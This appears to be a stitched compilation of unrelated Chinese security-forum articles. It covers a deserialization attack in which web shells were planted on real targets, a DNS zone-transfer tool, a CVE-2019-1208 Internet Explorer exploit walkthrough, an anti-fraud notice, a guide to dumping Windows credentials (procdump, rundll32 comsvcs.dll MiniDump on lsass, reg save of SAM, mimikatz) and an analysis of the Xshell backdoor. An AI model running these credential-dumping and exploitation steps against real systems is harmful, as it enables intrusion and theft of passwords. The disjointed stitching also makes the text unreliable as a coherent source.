Ysoserial.NET --> Gadget serialize data --> this.zip.GetBuffer --> this.ZipData --> this.GetZipBuffer --> new BinaryFormatter().Serialize() --> this.CompressToByte --> new YYEncrypt().EncryptData --> Send To Tartget Server --> XXX.MsgReceive --> new YYEncrypt().DecryptData-->this.DeCompressToBytes --> new BinaryFormatter().Deserialize() --> Attack success
### 0x03 转
按照猜想的验证逻辑写好漏洞利用代码,本地测试了几条`Gadget`后成功弹出计算器。
本地成功弹出计算器的`Gadget`在目标上并未正常执行,依然是重新试了几条`Gadget`后命令才得以执行成功,写文件访问不到,`Ysoserial.NET`中提供的回显方法当时未测试成功,时间紧也没法投入精力去研究其原因,Windows一直无回显执行命令就怪难受的...所幸服务器的发现服务器其他端口开了`iis`.
默认路径写`aspx`拿到`shell`.
### 0x04 合
程序是通用的,前前后后打了七八个`shell`,由于其自带的加密给`payload`上了保护伞,攻击过程并未被发现过,有意思的是内网扫描被发现后起初防御人员排查的时候采取的措施是删除某个打`payload`前会探测的特征文件。 | 社区文章 |
# 【安全工具】DNSnitch：反向DNS查询与域传送探测工具
|
##### 译文声明
本文是翻译文章，文章来源：thevivi.net
原文地址：<https://thevivi.net/2016/11/17/dnsnitch-reverse-ns-lookups-zone-transfers/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[村雨其实没有雨](http://bobao.360.cn/member/contribute?uid=2671379114)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
近期对Dyn的DDoS攻击的事件让我把目光放到了DNS上，黑客们一次又一次证明了成功实施DDoS攻击的最佳方式，就是攻击DNS服务器。
作为一名渗透测试工程师，我在评估系统安全时确实能够经常看到域名解析服务器，这一点在信息搜集阶段尤为明显。我们现在仍然能够时不时的看到一些允许域传送的公共域名服务器，显然这是个隐患。但我还从没有把DNS服务器作为过一个实际的攻击目标，我的客户也都不愿意在付费测试时允许工程师瘫痪掉他们的网络服务。
对Dyn的DDoS攻击是个大麻烦，因为Dyn是主要的DNS解析服务供应商，对Dyn的攻击造成了一批知名站点的服务中断，其中包括Twitter,
Paypal, Reddit, Github, Spotfy等
这不禁使我思考，如果我是一名攻击者，要找到最合适的域名解析服务器进行攻击，我该怎么做，我应该选择哪一台域名解析服务器。查询目标所使用的域名解析服务器非常容易，但是如果我的目标是域名服务器，我要对域名解析服务器进行DDoS攻击，那么我就应该进行相反的查询，找出一个域名解析服务器提供服务的所有域名。
**反向NS查询**
Google结果告诉我要进行反向域名解析查询，只要我们能够找到一个域名服务器，我们就能够查询到它提供服务的所有独立域名。反向域名解析查询是如何生效的呢，我在Server
Fault上找到了最好的答案：
域文件访问：一些注册处会授予注册商或其他团体访问域文件的权限。这也就能让我们非常容易地确定在这些空间中哪些域有访问DNS服务器的权限。但是在我研究时发现，现在提供访问域文件权限的注册商并不常见。这样一来，尽管这种方法是最可靠的，也并没有被广泛使用。
被动DNS：被动DNS通过ISP的递归DNS服务器流量检查和根据所见重建区域数据来实现目的。尽管这种方法会消耗大量资源，并且数据库中的数据可能过时，它还是被作为一种有效手段广泛使用。我将会在下文继续谈论这种方法。
**反向NS查询工具**
我做的第一件事就是去搜索能够执行反向NS查询命令的命令行工具。我确实也找到了一些或免费或付费提供这项服务的网站，由于我本身就是安全专家，我还是倾向于使用免费工具，也花了不少时间去研究。
**1\. Gwebtools**
我首先要介绍的就是gwebtools的域名检测工具。正如它承诺的一样，只要给它一个域名服务器，它就能列出可用的所有域名。唯一的缺陷就是它只能提供.com和.net结尾的域名。它的工作原理就是运营商提供了一套监测.com和.net域变化的系统，并且每月更新一次。
**2\. Viewdns.info**
接下来我要介绍viewDNS.info提供的NS反向查询工具。我更喜欢这个工具，因为它监测的域比ns-spy更多，能够获得比gwebtool更多的结果。他们提供了API，能让我们把这项工具整合到自己的工具中。他们甚至会售卖收集到的域信息。
**3\. Domain Tools**
最后登场的是Domain
Tools的NS反查工具。这个工具并非免费工具，在进行查询后，你能够得到一个免费的结果样例，但是想要得到完整的结果，要么以每月$99的价格缴纳会员费，要么以$70的非会员价去购买结果
据我所知，这项工具提供的查询结果比上两个工具的结果更加丰富，以ns1.safaricombusiness.co.ke这一域名服务器为例，查询结果如下：
gwebtools发现1017个域
viewdns.info发现2563个域
Domain Tools找到9814个域
**DNSnitch**
上面提到的在线工具虽好，但是依旧不能满足我的需求，我需要的是一个能够不离开终端就能进行NS反向查询的工具。由于我们能够访问注册管理机构的域文件，我能想到的最佳方案就是利用上面提到的一个网站来获得我想要的结果。
最终，在gwebtools和viewdns.info之间，我选择了后者，理由如下：
Viewdns.info能够监视更多地域，且能提供更多的结果，这从查询样例中就能看出来。
Viewdns.info的输出更容易被解析，它所有的查询结果都是输出在单个页面的，而gwebtool的输出在多个页面，对结果进行分析和在终端输出会变得更麻烦。
DNSnitch工具是一个Python脚本，能够向viewdns.info的NS反向查询工具发送请求，并且将结果输出到终端上
**域传送**
当我在一些公共域名服务器进行测试时，我发现有两个域名服务器允许所有域使用它们进行域传送（现在这一问题仍然存在）
这里的资料说明了什么是域传送，以及为什么人们永远不应该在公共域名服务器上允许域传送。总而言之，域传送能够让网络结构探测变得容易的多，就好比我们直接走进目标的大门，向网络部门主管要到了一张详尽的IP列表，再从大门走出去。你并不会因此立刻被入侵，但是它能让你的敌人获取到很多重要信息，而这些信息在后期攻击阶段至关重要。域传送漏洞已经被我们知晓多年，现在这种问题仍然存在让我非常惊讶。
根据viewdns.info的查询结果，我发现的在非洲的域名服务器为2000多个域提供了服务。而根据Domain Tools的资料，这个数字则是7000多。
正因如此，我觉得我应该为DNSnitch添加一点更有趣的功能。如果在运行DNSnitch时添加了-zt参数，程序不会在列出所有域后停止，而是去用dig(domain information
groper)继续探测所有发现的域是否能够进行域传送(域传送只能通过指定的域名服务器去尝试)。
我在上面的域名服务器试用了这个脚本，结果相当不错。尽管不会命中每个域，但是最终成功的域还是很多的。
**axfr.py**
我又写了一个脚本，它能将接收一个域列表，并尝试针对指定的域名服务器进行域传送。如果有人已经有了一个域列表，想要测试域传送漏洞，也许这就能派上用场。您可以在这里下载axfr.py
**总结**
DNS的将遇到的麻烦还远远没有结束，也许眨眼之间一次DDoS就能让主流网站或公共服务中断，也许眨眼之间域名服务器就会停止对某个组织的公共设施的服务。
如果您是DNS管理员，请加固您的服务器，谨防DDoS攻击，禁止域传送。现在是2016年了，我们真的不应该再看到这个了。我将向上述域名服务器的管理员发送一封邮件报告漏洞，希望他们能尽快修复。祝大家狩猎愉快~ | 社区文章 |
> 本文是翻译文章，原文链接：<https://blog.trendmicro.com/trendlabs-security-> intelligence/from-bindiff-to-zero-day-a-proof-of-concept-exploiting-> cve-2019-1208-in-internet-explorer/>
去年六月，我向微软公布了`internet
Explorer(IE)`中的[UAF漏洞](https://cwe.mitre.org/data/definitions/416.html)，它被评为严重等级，并被命名为[CVE-2019-1208](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1208)，接着在微软的[9月补丁星期二](https://blog.trendmicro.com/trendlabs-security-intelligence/september-patch-tuesday-bears-more-remote-desktop-vulnerability-fixes-and-two-zero-days/)发表
我通过[BinDiff](https://www.zynamics.com/bindiff.html)工具发现了这个漏洞，并编写了一个PoC，展示了如何在Windows
10 RS5中利用它
这篇文章对此漏洞进行了更深入的分析，以下是该研究的概述
> 深入分析：<https://documents.trendmicro.com/assets/Tech-Brief-A-Proof-of-Concept-> Exploiting-CVE-2019-1208-in-Internet-Explorer.pdf>
# 前言
如上所述，`CVE-2019-1208`是`UAF`漏洞，这类安全漏洞可以破坏有效数据、引发进程crash、并且可以精心利用最终导致任意代码执行。而对于本文介绍的CVE-2019-1208而言，成功利用此漏洞的攻击者可以获得系统当前用户权限。如果当前用户具有admin权限，则攻击者可以劫持系统——从安装或卸载程序，查看和修改数据
到 创建具有完全权限的用户。
# 潜在影响
还有一种更有形的攻击情形，攻击者向不知情的用户发送钓鱼邮件，并诱使他们通过IE访问恶意网站（存在CVE-2019-1208的漏洞）。
或者，攻击者可以发送带有附件的垃圾邮件，其中包含该漏洞的exp。这些附件可以是启用了IE渲染引擎的Microsoft
Office文档，也可以是嵌入了[ActiveX控件的](https://support.microsoft.com/en-ph/help/17469/windows-internet-explorer-use-activex-controls)的应用程序，而[ActiveX控件](https://support.microsoft.com/en-ph/help/17469/windows-internet-explorer-use-activex-controls)又包含exp。
攻击者还可以在一些合法网站上布置攻击代码，例如那些接受用户的输入的网站。
下图为`VbsJoin`的代码流：
# 漏洞是如何被发现的？
我的研究始于`BinDiff`，当时我正试图比较`vbscript.dll`的5月和6月的版本，寻找其中被更改的函数，而这个模块包含VBScript引擎的API函数。最终我发现通过[SafeArrayAddRef](https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayaddref)，[SafeArrayReleaseData](https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayreleasedata)和[SafeArrayReleaseDescriptor](https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayreleasedescriptor)函数进行了一些修复
然而，受我之前发现的漏洞[CVE-2018-8373](https://blog.trendmicro.com/trendlabs-security-intelligence/use-after-free-uaf-vulnerability-cve-2018-8373-in-vbscript-engine-affects-internet-explorer-to-run-shellcode/)的启发，进一步分析后我使用VBScriptClass经过下列步骤触发了UAF漏洞：
1. `arr = Array(New MyClass)`，创建一个SafeArray并在arr[0]处保存`VBScriptclass: MyClass`
2. `Callback: arr = Array(0)`，`Join(arr)`将触发MyClass的回调函数`Public Default Property Get`。在此回调中，为变量创建了一个新的SafeArray，如下图所示而这个新的SafeArray不受`SafeArrayAddRef`函数的保护。因此，正常的代码流假设 被这个回调打破
1. `arr(0) = Join(arr)`，当从`Public Default Property Get`返回时，VBsJoin中的代码将会调用`SafeArrayReleaseData`和`SafeArrayReleaseDescriptor`来减少`SafeArrayData`和`SafeArrayDescriptor`的引用计数。但是，新的SafeArray不受`SafeArrayAddRef`保护，并且`SafeArrayData`和`SafeArrayDescriptor`的引用计数为0。
因此，新的SafeArray的`SafeArrayData`和`SafeArrayDescriptor`将在函数`SafeArrayReleaseData`和`SafeArrayReleaseDescriptor`被free，如下图所示：
> 其中，代码快照显示内存中的`arr = Array(New MyClass)`(顶部)，内存中的`arr =
> Array(0)`和`callback`位于底部
将VbsJoin的返回值保存到arr(0)时，PoC在`vbscript!AccessArray`中崩溃（见下图），因为`SafeArrayDescriptor`被free，Variant
arr仍然保存释放的`SafeArrayDescriptor`的指针。
> 显示PoC如何在`vbscript!AccessArray`中触发crash的代码快照
# PoC是否成功触发UAF？
在某种程度上，这个回答是肯定的
为了演示如何完全触发UAF，我使用了`basic string/binary
string(BSTR)`作为数据结构。SafeArray是一个多维数组，但由于VBsJoin只能处理一位数组，因此我更改了回调中的SafeArray的维度。
不幸的是，它仍然没有用，它会抛出一个运行时错误，指出数组类型在Join中不匹配。不过没有关系，我使用[On Error Resume
Next](https://docs.microsoft.com/en-us/dotnet/visual-basic/language-reference/statements/on-error-statement)来绕过这个运行时错误，下图为修改过后的PoC：
在获得了0x20字节的已释放内存后，我使用大小为0x20字节的BSTR来伪造一个较大size的SafeArray。
通过使用[堆风水](https://blog.trendmicro.com/trendlabs-security-intelligence/heaps-and-bounds/)，这个BSTR可以稳定地重用0x20字节的已释放内存，如下图所示：
我终于得到了一个伪造的一维数组SafeArray，一共有0x7fffffff个元素，每个元素大小为1字节，如下图：
> 伪造的SafeArray(顶部)和读/写的固定地址(底部)
到目前为止，我已经可以伪造一个SafeArray，可用于读/写0x00000000到0x7fffffff的内存
为了泄露一些读/写地址以便利用，我参考了Simon
Zuckerbraun之前的[研究](https://www.thezdi.com/blog/2019/5/21/rce-without-native-code-exploitation-of-a-write-what-where-in-internet-explorer)并使用堆喷射来获得一些固定的读/写地址(0x28281000)
# 从UAF到RCE
如Simon
Zuckerbraun的博客中所述，我使用Scripting.Dictionary对象来完成远程代码执行，但使用另一种方法来伪造一个假的Dictionary。这一次，我使用了BSTR并将它们带出来
> Faked Dictionary内存布局如下：
1. 使用内存读/写函数来读取原始的Dictionary内存，将其数据保存到一个BSTR，并将`VBADictionary::Exists`替换为`kernel32!Winexec`
2. 将之后用到的`Winexec`参数`\..\clac.exe`写入此BSTR
3. 将此BSTR保存到`util_memory+0x1000`，并修改`util_memory + 0x1000 – 8 = 9`以使`fake_array(util_memory + 0x1000)`成为对象
4. 使用`fake_array(util_memory + &h1000)`，利用`dummy`来触发`Winexec`函数
最终利用结果，成功弹出计算器：
# 这个漏洞对IE意味着什么？
在2019年8月13日，已在Windows 10中禁用的VBScript 又同时在Windows
7,8中禁止IE使用。因此，上文详述的PoC是在本地模式下开发的。但正如微软所说，仍然可以通过注册表或组策略启用此设置。同样，用户和组织应始终采用最佳实践：保证系统打上补丁和保持更新，禁用不需要(或限制使用)的组件，并派样网络安全意识，如垃圾邮件和其它社会工程学威胁
研究的完整细节在本[ **技术简报**](https://documents.trendmicro.com/assets/Tech-Brief-A-Proof-of-Concept-Exploiting-CVE-2019-1208-in-Internet-Explorer.pdf)中 | 社区文章 |
# 严厉打击！请立刻停止“两卡”买卖，严重影响个人征信
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近日，全国 **“断卡”行动**
打击力度和热度很大，一时间“断卡”成为网络热词，这始于今年10月国务院召开的一次联席会议。会议宣告，全国警方将严厉打击整治“非法开办贩卖银行卡、电话卡”违法犯罪，也被网友称为史上最严的全国“断卡行动”。
**#“断”字何解？#**
斩断境外诈骗集团的“信息流和资金流”
**#“卡”字何意？#**
除了手机卡、银行卡
还包括虚拟运营商的电话卡、物联网卡
以及对公账户、微信支付宝等第三方支付账户
**#为何“断卡”？#**
简单来说，如果有人出售了自己的手机卡、银行卡（简称“两卡”），就会被卡贩子层层转卖，最终被诈骗集团用于实施诈骗或洗白赃款。赃款经多级银行卡分流后进入犯罪团伙的腰包，无迹可查，转账记录却印在卖卡人的账户交易明细中，永久留存。
**“两卡”买卖也在电信网络诈骗犯罪中的起到关键作用。**
## “两卡”是电信网络诈骗案件持续高发的重要根源
用自己的身份证办理手机卡或者银行卡卖给他人使用。每张手机卡可以卖50-100元，而包括身份证、U盾的银行卡和手机卡一起可以卖到几百元，于是很多人做起了这样的轻松生意，而
**在校大学生和刚刚步入社会的年轻人，也就成了犯罪分子瞄准的群体，** 专门到他们手中收购手机卡、银行卡，做起了二道贩子。
很多人对将手机卡、银行卡卖给他人有什么危害并不清楚。他们单纯地认为：
**我只是将自己的东西卖给别人，又没有偷扒抢劫，别人用来干什么不干我的事了。这样的想法** **大错特错！！**
## 卖卡要承担什么法律责任？
**图片来自网络**
买卖、租借银行账户、电话卡涉嫌违法犯罪，实名办理电话卡、银行卡、对公账户提供给诈骗人员使用，只要涉及电信网络诈骗案件的，将可能因涉嫌帮助信息网络犯罪活动被警方依法刑事拘留。即使买卡的人没有拿你的卡去实施犯罪，
**买卖电话卡、银行卡本身也是违法行为。**
## 卖卡失信，有何后果？
根据银行的惩戒措施，个人名下一张银行卡涉案，5年内不能开新户，禁用手机支付，买个菜都只能给现金，所有业务都得去柜台办；同时，
**计入征信，基本告别信用卡和房贷车贷。**
## 安全课堂
“断卡”与普通人有啥关系？“断卡”力度如此之大，普通人需要怎么做呢？
n如果你曾经贪图小利倒卖过“两卡”，可以去当地派出所报到备案。
**n如果曾经丢失过身份证，要小心可能被冒用。**
建议查询个人名下“两卡”的开户情况以及商事登记情况，看看自己名下有无不知情的电话卡或者银行卡，以及被恶意注册用于洗钱逃税的公司。 | 社区文章 |
## 前言
本文总结常见的离线解密hash的方式，如有不对之处，还请各位师傅斧正。
## 任务管理器
以管理员身份打开任务管理器,选中lsass进程，创建转储文件
之后会显示转储文件保存的位置
之后运行mimikatz本地解密
sekurlsa::minidump C:\Users\root\AppData\Local\Temp\lsass.DMP
sekurlsa::logonpasswords
## Procdump
使用Procdump(管理员权限)进行进程转储，可以下载具有微软签名的procdump，具备一定的免杀能力
**<https://docs.microsoft.com/en-us/sysinternals/downloads/procdump>**
procdump.exe -accepteula -ma lsass.exe lsass.dmp
之后对导出的凭据进行解密
## sqldumper
`SQLDumper.exe`包含在Microsoft SQL和Office中，可生成完整转储文件
sqldumper的常见路径如下
C:\Program Files\Microsoft SQL Server\100\Shared\SqlDumper.exe
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\SQLDumper.exe
C:\Program Files (x86)\Microsoft SQL Server\100\Shared\SqlDumper.exe
之后运行
SqlDumper.exe <lsass pid> 0 0x01100
再本地解密即可
## comsvcs.dll
使用 rundll32找到机器的comsvcs.dll,之后以powershell(管理员)运行以下命令
Get-Process lsass
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <pid> C:\lsass.dmp full
之后本地解密
这里测试cmd不能导出文件，后来通过搜索发现在dump指定进程内存文件时，需要开启`SeDebugPrivilege权限`。而在cmd中此权限是默认禁用的，powershell是默认启用的。
简单解决办法：我们可以在cmd中开启此权限
使用工具<https://github.com/daem0nc0re/PrivFu/tree/main/SwitchPriv> 来切换权限
## 注册表导出sam文件
system文件位置:`C:\Windows\System32\config\SYSTEM`
SAM文件位置:`C:\Windows\System32\config\SAM`
reg save HKLM\SYSTEM C:\system.hiv
reg save HKLM\sam C:\sam.hiv
之后对导出的sam文件进行解密
lsadump::sam /sam:C:\sam.hiv /system:C:\system.hiv
这里也可以导出`HKLM\security`，然后mimikatz离线解密
## Out-Minidump
使用powershell脚本：<https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1>
运行
Import-Module .\Out-Minidump.ps1
Get-Process lsass | Out-Minidump
之后解密
## SharpDump
项目地址：<https://github.com/GhostPack/SharpDump>
编译好直接运行(管理员权限)，然后解密即可
## hashdump
项目地址：<https://github.com/lengjibo/RedTeamTools/tree/master/windows/hashdump>
测试使用new_mimidump成功，须管理员权限
解密
## nanodump
项目地址：<https://github.com/helpsystems/nanodump>
笔者这里是用的老版插件，加载插件后运行nanodump离线dumphash，这里需要管理员权限
在CS中下载
使用shell脚本进行还原
bash restore_signature.sh <dumpfile>
之后解密
## 结语
上述为常见的离线解密凭证的操作，更多的我们可以使用MiniDumpWriteDump来dump内存
详见ired：<https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass#minidumpwritedump-to-memory-using-minidump-callbacks>
## 参考
<https://www.anquanke.com/post/id/252552#h2-1>
<https://loong716.top/posts/lsass/>
<https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass#minidumpwritedump-to-memory-using-minidump-callbacks> | 社区文章 |
# 【权威发布】360天眼实验室：Xshell被植入后门代码事件分析报告（完整版）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**
**
**文档信息**
**事件概要**
**事件简述**
近日，非常流行的远程终端Xshell被发现被植入了后门代码，用户如果使用了特洛伊化的Xshell工具版本会导致本机相关的敏感信息被泄露到攻击者所控制的机器甚至被远程控制执行更多恶意操作。
Xshell特别是Build
1322在国内的使用面很大，敏感信息的泄露及可能的远程控制导致巨大的安全风险，我们强烈建议用户检查自己所使用的Xshell版本，如发现，建议采取必要的补救措施。
**事件时间线**
**2017年8月7日**
流行远程管理工具Xshell系列软件的厂商NetSarang发布了一个更新通告，声称在卡巴斯基的配合下发现并解决了一个在7月18日的发布版本的安全问题，提醒用户升级软件，其中没有提及任何技术细节和问题的实质，而且声称没有发现漏洞被利用。
**2017年8月14日**
360威胁情报中心分析了Xshell Build
1322版本（此版本在国内被大量分发使用），发现并确认其中的nssock2.dll组件存在后门代码，恶意代码会收集主机信息往DGA的域名发送并存在其他更多的恶意功能代码。360威胁情报中心发布了初始的分析报告，并对后续更复杂的恶意代码做进一步的挖掘分析，之后其他安全厂商也陆续确认了类似的发现。
**2017年8月15日**
卡巴斯基发布了相关的事件说明及技术分析，与360威胁情报中心的分析完全一致，事件可以比较明确地认为是基于源码层次的恶意代码植入。非正常的网络行为导致相关的恶意代码被卡巴斯基发现并报告软件厂商，在8月7日NetSarang发布报告时事实上已经出现了恶意代码在用户处启动执行的情况。同日NetSarang更新了8月7日的公告，加入了卡巴斯基的事件分析链接，标记删除了没有发现问题被利用的说法。
**影响面和危害分析**
目前已经确认使用了特洛伊化的Xshell的用户机器一旦启动程序，主机相关基本信息（主机名、域名、用户名）会被发送出去。同时，如果外部的C&C服务器处于活动状态，受影响系统则可能收到激活数据包启动下一阶段的恶意代码，这些恶意代码为插件式架构，可能执行攻击者指定任意恶意功能，包括但不仅限于远程持久化控制、窃取更多敏感信息。
根据360网络研究院的C&C域名相关的访问数量评估，国内受影响的用户或机器数量在十万级别，同时，数据显示一些知名的互联网公司有大量用户受到攻击，泄露主机相关的信息。
**解决方案**
检查目前所使用的Xshell版本是否为受影响版本，如果组织保存有网络访问日志或进行实时的DNS访问监控，检查所在网络是否存在对于附录节相关IOC域名的解析记录，如发现，则有内网机器在使用存在后门的Xshell版本。
目前厂商NetSarang已经在Xshell Build
1326及以后的版本中处理了这个问题，请升级到最新版本，修改相关系统的用户名口令。厂商修复过的版本如下：
Xmanager Enterprise Build 1236
Xmanager Build 1049
Xshell Build 1326
Xftp Build 1222
Xlpd Build 1224
软件下载地址：<https://www.netsarang.com/download/software.html>
**技术分析**
**基本执行流程**
Xshell相关的用于网络通信的组件nssock2.dll被发现存在后门类型的代码，DLL本身有厂商合法的数字签名，但已经被多家安全厂商标记为恶意：
360威胁情报中心发现其存在加载执行Shellcode的功能：
我们将这段代码命名为loader_code1,
其主要执行加载器的功能，会再解出一段新的代码（module_Activation），然后动态加载需要的Windows API和重定位，跳转过去。
经过对进程执行的整体分析观察，对大致的执行流程还原如下图所示：
**基本插件模块**
**Module_Activation**
module_Activation会开启一个线程，然后创建注册表项：HKEY_CURRENT_USERSOFTWARE-[0-9]+(后面的数字串通过磁盘信息xor
0xD592FC92生成)，然后通过RegQueryValueExA查询该注册表项下”Data”键值来执行不同的功能流程。
当注册表项”Data”的值不存在时，进入上传信息流程，该流程主要为收集和上传主机信息到每月一个的DGA域名，并保存服务器返回的配置信息，步骤如下：
获取当前系统时间，根据年份和月份按照下面的算法生成一个长度为10-16的字符串，然后将其与”.com”拼接成域名。
年份-月份 和 生成的域名对应关系如下：
接着，将前面收集的网络、计算机、用户信息按照特定算法编码成字符串，然后作为上面的域名前缀，构造成查询*. nylalobghyhirgh.com 的DNS
TXT的数据包，分别向8.8.8.8 | 8.8.4.4 | 4.2.2.1 | 4.2.2.2 | [cur_dns_server]
发送，然后等待服务器返回。
服务器返回之后（UDP）校验数据包，解析之后把数据拷贝到之前传入的参数中，下一步将这些数据写入前面设置的注册表项，也就是HKEY_CURRENT_USERSOFTWARE-[0-9]+的Data键中。这些数据应该是作为配置信息存放的，包括功能号，上次活跃时间，解密下一步Shellcode的Key等等。
当RegQueryValueExA查询到的Data键值存在数据时，则进入后门执行流程，该流程利用从之前写入注册表项的配置信息中的Key解密loader_code2后跳转执行。
解密loader_code2的算法如下：先取出module_Activation偏移0x3128处的original_key，接着取key的最后一个byte对偏移0x312C处长度为0xD410的加密数据逐字节进行异或解码，每次异或后original_key再与从配置信息中读取的key1、key2进行乘、加运算，如此循环。
解密之后跳转到loader_code2中,
loader_code2其实和loader_code1是一样的功能，也就是一个loader，其再次从内存中解密出下一步代码：module_ROOT,
然后进行IAT的加载和重定位，破坏PE头，跳转到ROOT模块的入口代码处。
**Module_ROOT**
ROOT模块即真正的后门核心模块，为其他插件提供了基本框架和互相调用的API，其会在内存中解密出5个插件模块Plugin、Online、Config、Install和DNS，分别加载到内存中进行初始化，如果插件在初始化期间返回没有错误，则被添加到插件列表中。
每个插件由DLL变形而成，加载后根据fwReason执行不同功能
(其中有一些自定义的值100,101,102,103,104).不同的插件模块fwReason对应的功能可能有细微的差异，整体上如下：
接着ROOT模块搜索ID为103（“Install”）的插件，并调用其函数表的第二个函数。进行安装操作。
同时ROOT模块也通过把自身函数表地址提供给其他模块的方式为其他模块提供API，这些API主要涉及跨模块调用API、加解密等功能。
另外其中解密的函数以及加载插件的函数也是由动态解出来的一段shellcode，可见作者背后的煞费苦心：
**Module_Plugin**
Plugin模块为后门提供插件管理功能，包括插件的加载、卸载、添加、删除操作，管理功能完成后会通过调用Online的0x24项函数完成回调，向服务器返回操作结果。模块的辅助功能为其他插件提供注册表操作。
Plugin的函数列表如下：
其中比较重要的是fuc_switch和CreateLoadRegThread。
fuc_switch
此函数根据第二个参数结构体的0x4偏移指令码完成不同操作，指令码构造如下：
（ID<<0x10）| Code
0x650000功能
此功能获取当前加载的插件列表字符串，此功能遍历全局ModuleInfo结构体获取模块名称列表，完成后通过Online模块的0x24执行调用者参数的回调函数，该回调为网络通知函数。
0x650001功能
此功能首先通过参数ID获取模块信息，如果该ID未被加载，则调用Root的加密函数加密模块数据，随后更新对应注册表值，完成模块更新，模块数据加密后保存，在Root模块初始化过程中会调用Plugin的注册表监听线程，该线程检测到注册表项变动后加载此模块：
0x650002功能
此功能通过文件名称加载PE结构的插件，Root模块的0x30项调用LoadLibrary函数加载DLL，并将插件结构插入全局插件双链表：
0x650003功能
该功能通过模块基址查找指定模块，内存卸载模块后删除对应注册表键值，彻底卸载模块：
0x650004功能
此功能检测参数指定模块ID是否被加载，如果该ID已被加载，通过Online的网络回调发送一个长度为1，数据为0x00的负载网络包，如果ID未被加载则发送一个长度为0的负载网络包。
CreateLoadRegThread
该函数创建线程，异步遍历注册表项“SOFTWAREMicrosoft<MachineID>”，其中MachineID根据硬盘序列号生成。随后创建Event对象，使用RegNotifyChangeKeyValue函数监测插件注册表键值是否被更改，被更改后则遍历键值回调中解密并加载模块并插入全局插件ModuleInfo。
Plugin模块的维护数据结构为双链表，并为每个插件定义引用计数，当引用计数为0时才从内存卸载插件。结构大致如下：
Module_Online
该模块主要功能是与服务器连接，获取服务器返回的控制指令，然后根据控制指令中的插件ID和附加数据来调用不同的插件完成相应的功能。同时Online也提供API接口给其他插件模块用于回传数据。
Online模块的函数表如下，可以看到其提供了一系列收发数据的API
网络连接开始时首先调用Config表中的第二个函数读取配置信息，通过InternetCrackUrlA将配置信息中的字符串(默认为dns://[www.notepad.com](http://www.notepad.com)
)取得C&C地址，并根据字符串前面的协议类型采取不同的连接方式，每个协议对应一个ID，同时也是协议插件的ID，目前取得的样本中使用的DNS协议对应ID为203。（虽然有HTTP和HTTPS，但是ONLINE只会使用HTTP），协议与ID的对应关系如下：
在建立起与C&C服务器的连接之后，可以根据接收到的服务器指令调用指定的插件执行指定的操作，并返回执行结果。首先先接收0x14字节的头部数据，这些数据将用于解压和解密下一步接收的指令数据。
接受的指令结构大致如下：
struct Command
{
DWORD HeaderSize;
WORD OpCode;
WORD PluginID;
DWORD DWORD0;
DWORD DataSize;
DWORD DWORD1;
DWORD DataBuff
...
};
Online模块会根据PluginID找到对应的模块，调用其函数列表的第一个函数func_switch()，根据OpCode执行switch中不同的操作，并返回信息给服务器。
另外当Online使用内置的URL方式时，会根据指定的参数使用HTTP-GETHTTPS-GET FTP来下载文件：
在请求服务器的时候，也会将受害者的基本信息上传到服务器中，这些信息包括：当前日期和时间、内存状态、CPU信息、可用磁盘空间、系统区域设置、当前进程的PID、操作系统版本、host信息和用户名。
Online模块还通过调用Plugin模块提供的API维护一个注册表项：
HKLMSOFTWARE[0-9A-Za-z]{7} 或者 HKCUSOFTWARE[0-9A-Za-z]{7}，内容是记录系统时间和尝试连接次数。
**Module_Config**
Config模块在初始化的过程中，先分别解出数据段保存的一些默认配置信息，然后把这些参数拼接起来，使用Root模块虚表中的DoEncipher函数进行加密，最后保存到一个用硬盘卷标号计算出来的路径里。同时Config模块提供了读取配置文件的接口。
Config模块的虚表共有3个函数
ModInit
该函数共有三个子功能
660000
该功能主要调用Config模块的GetDecodedConfigData函数，获取配置文件作为Payload，最终调用Online模块虚表的0x24功能（上传给CC服务器）
660001
功能主要就是传递了自己的功能ID，没有Payload
660002
功能主要就是传递了下自己的功能ID，没有Payload
GetDecodedConfigData
该函数首先通过磁盘卷标号计算得到当前机器的配置文件路径。然后读取配置文件，并调用Root模块的DoDecipher解密后，返回结果给调用者。
GetEncodedVolumeSN
该函数首先获取系统盘的磁盘卷标号，根据压入的szKey计算出一个结果，然后调用Root模块的Base64Encode1Byte来加密得到加密串。
默认配置信息主要为以下信息
接着写入配置文件，分别通过磁盘卷标号，以及不同的key，得出四组不同的加密串
然后和依次系统路径”%ALLUSERSPROFILE%\”拼接得到最终配置文件的路径（例如C:ProgramDataYICIOPMIEYKOSIYMXIEUWSOY），最后将加密后的配置文件直接写入到该路径下。
**Module_Install**
Install模块主要用于检测进程环境、控制进程退出和进入后门流程。Install模块被ROOT模块调用其函数表的第二个函数开始执行，首先调整进程权限，然后调用Config模块函数表的第二个函数读取配置信息。
接着通过判断ROOT模块从上层获取的参数进行不同的流程：
当参数为234时，创建互斥体 “Global[16-48个随机字符]”，并直接调用Online模块函数表偏移为0x04的函数，即开始循环连接C&C服务器。
当参数为56时，尝试加载ID为106（这个模块不在默认内置的模块列表中，需要进一步下载）。
如果都不是以上情况，则尝试以系统权限启动winlogon.exe或者启动scvhost.exe，然后注入自身代码，然后启动Online模块。
同时Install模块还会提供检测当前运行环境的接口：是否在调试、是否被进程监控、流量监控等，下面是一些特征字符串和相关代码：
**Module_DNS**
该模块的主要功能是使用DNS协议处理CC通信过程。模块的函数表如下，对
应的函数功能分别为：
模块的工作流程为：
在模块入口函数100编号对应的初始化过程中，模块会开启线程，等待其他插件数据到来，当收到数据时，调用dispatch将数据通过DNS发送到CC服务器。
